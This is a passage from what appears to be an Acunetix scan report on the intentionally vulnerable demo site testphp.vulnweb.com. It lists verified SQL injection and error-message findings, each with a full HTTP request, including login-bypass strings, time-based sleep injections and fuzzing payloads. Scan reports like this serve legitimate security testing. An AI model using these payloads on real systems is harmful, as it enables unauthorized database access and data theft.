GET /listproducts.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: https://www.google.com/search?hl=en&q=testing

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Cookie: login=1ACUSTART'"qmuLUACUEND

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

Connection: Keep-alive
```

SQL injection (verified)	
Affected item	/Mod_Rewrite_Shop/BuyProduct-3/
Affected parameter	
Request	

```
GET /Mod_Rewrite_Shop/BuyProduct-3/?id=1ACUSTART'"ACUEND HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

User-Agent: 1'"2000

referer: 1'"3000

client-ip: 1'"4000

x-forwarded-for: 1'"5000

accept-language: 1'"6000

via: 1'"7000

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

Connection: Keep-alive
```

SQL injection (verified)	
Affected item	/Mod_Rewrite_Shop/Details/color-printer/3/
Affected parameter	
Request	

```
GET /Mod_Rewrite_Shop/Details/color-printer/3/?id=1ACUSTART'"ACUEND HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

User-Agent: 1'"2000

referer: 1'"3000

client-ip: 1'"4000

x-forwarded-for: 1'"5000

accept-language: 1'"6000

via: 1'"7000

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

Connection: Keep-alive
```

SQL injection (verified)	
Affected item	/Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1/
Affected parameter	
Request	

```
GET /Mod_Rewrite_Shop/Details/network-attached-storage-dlink/1/?id=1ACUSTART'"ACUEND
HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

User-Agent: 1'"2000

referer: 1'"3000

client-ip: 1'"4000

x-forwarded-for: 1'"5000

accept-language: 1'"6000

via: 1'"7000

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

Connection: Keep-alive
```

SQL injection (verified)	
Affected item	/Mod_Rewrite_Shop/Details/web-camera-a4tech/2/
Affected parameter	
Request	

```
GET /Mod_Rewrite_Shop/Details/web-camera-a4tech/2/?id=1ACUSTART'"ACUEND HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

User-Agent: 1'"2000

referer: 1'"3000

client-ip: 1'"4000

x-forwarded-for: 1'"5000

accept-language: 1'"6000

via: 1'"7000

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

Connection: Keep-alive
```

SQL injection (verified)	
Affected item	/product.php
Affected parameter	login
Request	

```
GET /product.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: https://www.google.com/search?hl=en&q=testing

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Cookie: login=1ACUSTART'"2hLJVACUEND

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

Connection: Keep-alive
```

SQL injection (verified)	
Affected item	/product.php
Affected parameter	pic
Request	

```
GET /product.php?pic=1ACUSTART'"HdhEDACUEND HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

SQL injection (verified)	
Affected item	/search.php
Affected parameter	login

Request

```
GET /search.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: https://www.google.com/search?hl=en&q=testing

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Cookie: login=1ACUSTART'"9rELNACUEND

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

Connection: Keep-alive
```

SQL injection (verified)	
Affected item	/search.php
Affected parameter	searchFor
Request	

```
POST /search.php?test=query HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 44

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive


goButton=go&searchFor=1ACUSTART'"9BDCVACUEND
```

SQL injection (verified)	
Affected item	/search.php
Affected parameter	test
Request	

```
POST /search.php?test=1ACUSTART'"2qdbeACUEND HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 25

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive


goButton=go&searchFor=the
```

SQL injection (verified)	
Affected item	/secured/newuser.php
Affected parameter	uuname
Request	

```
POST /secured/newuser.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 205

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive


signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email.
tst&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-
0606&urname=ghovjnjv&uuname=1ACUSTART'"dU78RACUEND
```

SQL injection (verified)	
Affected item	/sendcommand.php
Affected parameter	cart_id
Request	

```
POST /sendcommand.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 83

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive


cart_id=1ACUSTART'"9YkyyACUEND&submitForm=place%20a%20command%20for%20these%20items
```

SQL injection (verified)	
Affected item	/userinfo.php
Affected parameter	login

Request

```
GET /userinfo.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Referer: https://www.google.com/search?hl=en&q=testing

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Cookie: login=1ACUSTART'"CmlXxACUEND

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

Connection: Keep-alive
```

SQL injection (verified)	
Affected item	/userinfo.php
Affected parameter	pass
Request	

```
POST /userinfo.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Referer: http://testphp.vulnweb.com/

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 61

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive


pass=-1'%20OR%203*2*1=6%20AND%20000591=000591%20--%20&uname=1
```

SQL injection (verified)	
Affected item	/userinfo.php
Affected parameter	pass
Request	

```
POST /userinfo.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 42

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive


pass=1ACUSTART'"P6BeeACUEND&uname=ghovjnjv
```

SQL injection (verified)	
Affected item	/userinfo.php
Affected parameter	uaddress
Request	

```
POST /userinfo.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 111

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive


uaddress=1ACUSTART'"oDADGACUEND&ucc=777&uemail=matheusdaocu%40gmail.com&update=update&uph
one=%2B555%20666666666
```

SQL injection (verified)	
Affected item	/userinfo.php
Affected parameter	uaddress
Request	

```
POST /userinfo.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 127

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive


uaddress=1ACUSTART'"qFHL3ACUEND&ucc=777&uemail=matheusdaocu%40gmail.com&update=update&uph
one=%2B555%20666666666&urname=ghovjnjv
```

SQL injection (verified)	
Affected item	/userinfo.php
Affected parameter	ucc
Request	

```
POST /userinfo.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 926

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



uaddress=
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%20
registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<t
able%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>&ucc=
(select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'"%2B(select
(0)from(select(sleep(6)))v)%2B"*/&uemail=matheusdaocu%40gmail.com&update=update&uphone=%2
B555%20666666666
```

SQL injection (verified)	
Affected item	/userinfo.php
Affected parameter	uemail
Request	

```
POST /userinfo.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 805

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



uaddress=
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%20registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<table%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>&ucc=777&uemail=1ACUSTART'"VzXqAACUEND&update=update&uphone=%2B555%20666666666
```

SQL injection (verified)	
Affected item	/userinfo.php
Affected parameter	uemail
Request	

```
POST /userinfo.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 821

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



uaddress=
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%20
registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<t
able%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>&ucc=777&uemail=1ACUSTART'"iEB
0PACUEND&update=update&uphone=%2B555%20666666666&urname=ghovjnjv
```

SQL injection (verified)	
Affected item	/userinfo.php
Affected parameter	uname
Request	

```
POST /userinfo.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

Referer: http://testphp.vulnweb.com/

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 61

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive


pass=1&uname=-1'%20OR%203*2*1=6%20AND%20000690=000690%20--%20
```

SQL injection (verified)	
Affected item	/userinfo.php
Affected parameter	uname

Request

```
POST /userinfo.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 50

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive


pass=g00dPa%24%24w0rD&uname=1ACUSTART'"qZNPcACUEND
```

SQL injection (verified)

Affected item	/userinfo.php
Affected parameter	uphone

Request

```
POST /userinfo.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 811

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



uaddress=
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%20registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<table%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>&ucc=777&uemail=matheusdaocu%40gmail.com&update=update&uphone=1ACUSTART'"OhepyACUEND
```

SQL injection (verified)	
Affected item	/userinfo.php
Affected parameter	uphone

Request

```
POST /userinfo.php HTTP/1.1

Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c

Acunetix-Aspect-Queries: filelist;aspectalerts

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 827

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



uaddress=
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%20
registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<t
able%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>&ucc=777&uemail=matheusdaocu%40
gmail.com&update=update&uphone=1ACUSTART'"d6ToCACUEND&urname=ghovjnjv
```

.htaccess file readable (verified)	
Affected item	/Mod_Rewrite_Shop/
Affected parameter	
Request	

```
GET /Mod_Rewrite_Shop/.htaccess HTTP/1.1

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Application error message	
Affected item	/listproducts.php
Affected parameter	artist
Request	

```
GET /listproducts.php?artist=12345'"\'\");|]*%00{%0d%0a<%00>%bf%27' HTTP/1.1

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Application error message	
Affected item	/listproducts.php
Affected parameter	cat
Request	

```
GET /listproducts.php?cat=12345'"\'\");|]*%00{%0d%0a<%00>%bf%27' HTTP/1.1

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Application error message	
Affected item	/secured/newuser.php
Affected parameter	uuname
Request	

```
POST /secured/newuser.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 225

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive


signup=signup&uaddress=3137%20Laguna%20Street&ucc=4111111111111111&uemail=sample%40email.
tst&upass=g00dPa%24%24w0rD&upass2=g00dPa%24%24w0rD&uphone=555-666-
0606&urname=ghovjnjv&uuname=12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'
```

Application error message	
Affected item	/showimage.php
Affected parameter	file
Request	

```
GET /showimage.php?file=acu1951%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca1951&size=160
HTTP/1.1

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive
```

Application error message	
Affected item	/userinfo.php
Affected parameter	uaddress
Request	

```
POST /userinfo.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 131

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



uaddress=12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'
&ucc=777&uemail=matheusdaocu%40gmail.com&update=update&uphone=%2B555%20666666666
```

Application error message	
Affected item	/userinfo.php
Affected parameter	ucc
Request	

```
POST /userinfo.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 846

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



uaddress=
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%2
0registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<t
able%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>&ucc=12345'"\'\");|]*%00{%0d%0
a<%00>%bf%27'&uemail=matheusdaocu%40gmail.com&update=update&uphone=%2B555%20666666666
```

Application error message	
Affected item	/userinfo.php
Affected parameter	uemail
Request	

```
POST /userinfo.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 825

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



uaddress=
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%2
0registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<t
able%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>&ucc=777&uemail=12345'"\'\");|
]*%00{%0d%0a<%00>%bf%27'&update=update&uphone=%2B555%20666666666
```

Application error message	
Affected item	/userinfo.php
Affected parameter	uphone
Request	

```
POST /userinfo.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 831

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



uaddress=
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%20registered%20please%20enter%20your%20login%20information%20below:</h3>
<br>%0D%0A%09<form%20name="loginform"%20method="post"%20action="userinfo.php">%0D%0A%09<table%20cellpadding="4"%20cellspacing="1">%0D%0A%09%09<tr><td>Username%20:%20</td><td>
<input%20name="uname"%20type="text"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td>Password%20:%20</td><td>
<input%20name="pass"%20type="password"%20size="20"%20style="width:120px;"></td>
</tr>%0D%0A%09%09<tr><td%20colspan="2"%20align="right">
<input%20type="submit"%20value="login"%20style="width:75px;"></td>
</tr>%0D%0A%09</table>%0D%0A%09</form>%0D%0A%20%20%09</div>&ucc=777&uemail=matheusdaocu%40gmail.com&update=update&uphone=12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'
```

Application error message	
Affected item	/userinfo.php
Affected parameter	urname
Request	

```
POST /userinfo.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Referer: http://testphp.vulnweb.com/

Cookie: login=test%2Ftest

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip,deflate

Content-Length: 857

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0

Connection: Keep-alive



uaddress=
<div%20id="content">%0D%0A%09<div%20class="story">%0D%0A%09<h3>If%20you%20are%20already%20registered%20please%20enter%20your%20login%20information%20below:</h3>
